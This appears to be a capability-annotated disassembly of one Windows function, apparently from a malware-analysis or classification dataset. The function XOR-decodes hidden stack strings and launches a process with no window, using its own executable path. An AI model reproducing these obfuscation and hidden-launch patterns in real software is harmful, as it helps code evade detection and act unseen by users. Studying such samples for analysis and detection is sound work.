Function at 0x4064e0
Capabilities:
Contain obfuscated stackstrings
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x394
push ebx
push esi
push edi
push 0x104
lea eax, [ebp - 0x390]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
cmp dword [ebp + 0x1c], 0x10
lea ecx, [ebp + 8]
mov esi, dword [ebp + 0x18]
lea ebx, [ebp + 8]
cmovae ecx, dword [ebp + 8]
add esi, ecx
mov dword [ebp - 0xbc], 7
cmp dword [ebp + 0x1c], 0x10
mov dword [ebp - 0xc0], 0
cmovae ebx, dword [ebp + 8]
xor eax, eax
mov word [ebp - 0xd0], ax
mov eax, esi
sub eax, ebx
cmp eax, 7
je 0x406576
push 1
push eax
lea ecx, [ebp - 0xd0]
call fcn.00407be0
test al, al
je 0x406576
cmp dword [ebp - 0xbc], 8
lea eax, [ebp - 0xd0]
mov dword [ebp - 0xc0], 0
cmovae eax, dword [ebp - 0xd0]
xor ecx, ecx
mov word [eax], cx
push dword [ebp - 4]
lea ecx, [ebp - 0xd0]
push esi
push ebx
call fcn.00408f80
push 0x44
lea eax, [ebp - 0x188]
push 0
push eax
call fcn.00415770
mov eax, 1
mov byte [ebp - 0x36], 0x27
mov di, ax
mov dword [ebp - 0x188], 0x44
mov bx, ax
mov word [ebp - 2], di
mov edi, 5
mov dword [ebp - 0x1e], 0x460044
lea edx, [eax + 0x41]
mov dword [ebp - 0x1a], 0x400040
lea ecx, [eax + 0x4d]
mov dword [ebp - 0x16], 0x150046
xor eax, eax
mov dword [ebp - 0x12], 0x70012
mov al, byte [ebp - 0x36]
mov esi, 0x53
cbw
add esp, 0xc
xorps xmm0, xmm0
mov dword [ebp - 0xe], 0x120014
xor di, ax
mov dword [ebp - 0xa], 0x440046
mov word [ebp - 0x34], di
xor dx, ax
mov edi, 7
mov word [ebp - 0x2a], dx
xor di, ax
xor cx, ax
mov word [ebp - 0x32], di
xor si, ax
mov di, bx
mov word [ebp - 0x26], cx
xor di, ax
mov word [ebp - 0x24], si
xor bx, ax
mov word [ebp - 0x30], di
mov word [ebp - 0x2e], bx
mov edi, 7
mov bx, di
mov edx, 0x5f
xor bx, ax
xor dx, ax
xor eax, eax
mov word [ebp - 0x2c], bx
mov word [ebp - 0x22], ax
xor ecx, ecx
mov al, 0x66
mov word [ebp - 0x28], dx
movups xmmword [ebp - 0x140], xmm0
mov byte [ebp - 0x20], al
mov word [ebp - 6], cx
cbw
xor word [ebp + ecx*2 - 0x1e], ax
inc ecx
cmp ecx, 0xc
jae 0x406678
mov al, byte [ebp - 0x20]
jmp 0x406666
xor eax, eax
mov dword [ebp - 0xd4], edi
mov word [ebp - 6], ax
mov dword [ebp - 0xd8], eax
mov word [ebp - 0xe8], ax
cmp word [ebp - 0x390], ax
jne 0x40669e
xor ecx, ecx
jmp 0x4066b6
lea ecx, [ebp - 0x390]
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x4066a7
sub ecx, edx
sar ecx, 1
push ecx
lea eax, [ebp - 0x390]
push eax
lea ecx, [ebp - 0xe8]
call fcn.00407130
mov al, 0x2d
mov dword [ebp - 0x62], 0x4e0002
mov byte [ebp - 0x64], al
xor ecx, ecx
mov dword [ebp - 0x5e], 0x59000d
mov dword [ebp - 0x5a], 0x400044
mov dword [ebp - 0x56], 0x420048
mov dword [ebp - 0x52], 0x590058
mov dword [ebp - 0x4e], 0x18000d
mov dword [ebp - 0x4a], 0xb000d
mov dword [ebp - 0x46], 0xd000b
mov dword [ebp - 0x42], 0x480049
mov dword [ebp - 0x3e], 0xd0041
mov dword [ebp - 0x3a], 0xf
nop dword [eax]
cbw
xor word [ebp + ecx*2 - 0x62], ax
inc ecx
cmp ecx, 0x15
jae 0x406732
mov al, byte [ebp - 0x64]
jmp 0x406720
xor eax, eax
lea edx, [ebp - 0x62]
mov word [ebp - 0x38], ax
lea ecx, [ebp - 0x130]
lea eax, [ebp - 0x1e]
push eax
lea eax, [ebp - 0xe8]
push eax
call fcn.00408680
add esp, 4
lea ecx, [ebp - 0x118]
mov edx, eax
call fcn.00408720
add esp, 4
lea ecx, [ebp - 0xd0]
push 0xffffffffffffffff
push 0
push ecx
mov ecx, eax
call fcn.00408a60
mov esi, eax
mov dword [ebp - 0xa4], edi
xor eax, eax
mov dword [ebp - 0xa8], 0
mov word [ebp - 0xb8], ax
cmp dword [esi + 0x14], 8
jae 0x4067b4
mov eax, dword [esi + 0x10]
add eax, 1
je 0x4067c2
add eax, eax
push eax
lea eax, [ebp - 0xb8]
push esi
push eax
call fcn.004136e0
add esp, 0xc
jmp 0x4067c2
mov eax, dword [esi]
mov dword [ebp - 0xb8], eax
mov dword [esi], 0
mov eax, dword [esi + 0x10]
mov dword [ebp - 0xa8], eax
mov eax, dword [esi + 0x14]
mov dword [ebp - 0xa4], eax
mov dword [esi + 0x14], edi
cmp dword [esi + 0x14], 8
mov dword [esi + 0x10], 0
jb 0x4067e6
mov esi, dword [esi]
xor eax, eax
lea edx, [ebp - 0xb8]
mov word [esi], ax
lea ecx, [ebp - 0x100]
lea eax, [ebp - 0x34]
push eax
call fcn.00408720
mov edx, eax
add esp, 4
cmp dword [edx + 0x14], 8
jb 0x40680d
mov edx, dword [edx]
mov al, 0x75
mov dword [ebp - 0x9c], 0x4f0036
mov byte [ebp - 0x9e], al
xor ecx, ecx
mov dword [ebp - 0x98], 0x220029
mov dword [ebp - 0x94], 0x1b001c
mov dword [ebp - 0x90], 0x1a0011
mov dword [ebp - 0x8c], 0x60002
mov dword [ebp - 0x88], 0x260029
mov dword [ebp - 0x84], 0x6000c
mov dword [ebp - 0x80], 0x100001
mov dword [ebp - 0x7c], 0x460018
mov dword [ebp - 0x78], 0x290047
mov dword [ebp - 0x74], 0x180016
mov dword [ebp - 0x70], 0x5b0011
mov dword [ebp - 0x6c], 0xd0010
mov dword [ebp - 0x68], 0x10
nop
cbw
xor word [ebp + ecx*2 - 0x9c], ax
inc ecx
cmp ecx, 0x1b
jae 0x4068a8
mov al, byte [ebp - 0x9e]
jmp 0x406890
xor eax, eax
mov word [ebp - 0x66], ax
lea eax, [ebp - 0x140]
push eax
lea eax, [ebp - 0x188]
push eax
push 0
push 0
push 0x8000000
push 0
push 0
push 0
push edx
lea eax, [ebp - 0x9c]
push eax
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
mov ecx, dword [ebp - 0xec]
mov esi, eax
cmp ecx, 8
jb 0x4068f9
inc ecx
push ecx
push dword [ebp - 0x100]
lea ecx, [ebp - 0x100]
call fcn.00407b80
xor eax, eax
mov dword [ebp - 0xec], edi
mov word [ebp - 0x100], ax
mov eax, dword [ebp - 0xa4]
mov dword [ebp - 0xf0], 0
cmp eax, 8
jb 0x406930
inc eax
lea ecx, [ebp - 0xb8]
push eax
push dword [ebp - 0xb8]
call fcn.00407b80
xor eax, eax
mov dword [ebp - 0xa4], edi
mov word [ebp - 0xb8], ax
mov eax, dword [ebp - 0x104]
mov dword [ebp - 0xa8], 0
cmp eax, 8
jb 0x406967
inc eax
lea ecx, [ebp - 0x118]
push eax
push dword [ebp - 0x118]
call fcn.00407b80
xor eax, eax
mov dword [ebp - 0x104], edi
mov word [ebp - 0x118], ax
mov eax, dword [ebp - 0x11c]
mov dword [ebp - 0x108], 0
cmp eax, 8
jb 0x40699e
inc eax
lea ecx, [ebp - 0x130]
push eax
push dword [ebp - 0x130]
call fcn.00407b80
xor eax, eax
mov dword [ebp - 0x11c], edi
mov word [ebp - 0x130], ax
mov eax, dword [ebp - 0xd4]
mov dword [ebp - 0x120], 0
cmp eax, 8
jb 0x4069d5
inc eax
lea ecx, [ebp - 0xe8]
push eax
push dword [ebp - 0xe8]
call fcn.00407b80
test esi, esi
je 0x4069f3
push dword [ebp - 0x140]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0x13c]
call esi
xor esi, esi
jmp 0x4069f8
mov esi, 1
mov eax, dword [ebp - 0xbc]
cmp eax, 8
jb 0x406a16
inc eax
lea ecx, [ebp - 0xd0]
push eax
push dword [ebp - 0xd0]
call fcn.00407b80
mov ecx, dword [ebp + 0x1c]
cmp ecx, 0x10
jb 0x406a2b
inc ecx
push ecx
push dword [ebp + 8]
lea ecx, [ebp + 8]
call fcn.004079b0
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret